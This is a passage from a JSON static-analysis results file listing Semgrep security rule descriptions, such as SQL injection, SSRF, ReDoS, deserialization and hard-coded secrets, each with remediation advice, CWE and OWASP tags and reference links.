- [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","id":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","name":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"No slippage check in a Uniswap v2/v3 trade"},"help":{"markdown":"No slippage check in a Uniswap v2/v3 trade\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check)\n - [https://uniswapv3book.com/docs/milestone_3/slippage-protection/](https://uniswapv3book.com/docs/milestone_3/slippage-protection/)\n","text":"No slippage check in a Uniswap v2/v3 trade"},"helpUri":"https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check","id":"solidity.security.no-slippage-check.no-slippage-check","name":"solidity.security.no-slippage-check.no-slippage-check","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-slippage-check.no-slippage-check"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"help":{"markdown":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization)\n - [https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html](https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","id":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","name":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli)\n - [https://pkg.go.dev/database/sql#DB.Query](https://pkg.go.dev/database/sql#DB.Query)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli","id":"go.aws-lambda.security.database-sqli.database-sqli","name":"go.aws-lambda.security.database-sqli.database-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.database-sqli.database-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","id":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","name":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"help":{"markdown":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection)\n - [https://codeberg.org/fennix/funjection](https://codeberg.org/fennix/funjection)\n","text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"helpUri":"https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection","id":"python.twilio.security.twiml-injection.twiml-injection","name":"python.twilio.security.twiml-injection.twiml-injection","properties":{"precision":"very-high","tags":["CWE-91: XML Injection","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.twilio.security.twiml-injection.twiml-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","id":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","name":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","id":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","name":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"help":{"markdown":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n - [https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code](https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code)\n","text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli","id":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","name":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-slick-sqli.tainted-slick-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"help":{"markdown":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","id":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","name":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","id":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","name":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string","id":"python.flask.security.audit.render-template-string.render-template-string","name":"python.flask.security.audit.render-template-string.render-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.render-template-string.render-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"help":{"markdown":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services](https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services)\n","text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","id":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","name":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"help":{"markdown":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","id":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","name":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource](https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource)\n","text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf","id":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","name":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.io-source-ssrf.io-source-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval","id":"python.django.security.injection.code.user-eval.user-eval","name":"python.django.security.injection.code.user-eval.user-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval.user-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Kolide API Key detected"},"help":{"markdown":"Kolide API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Kolide API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","id":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","name":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - 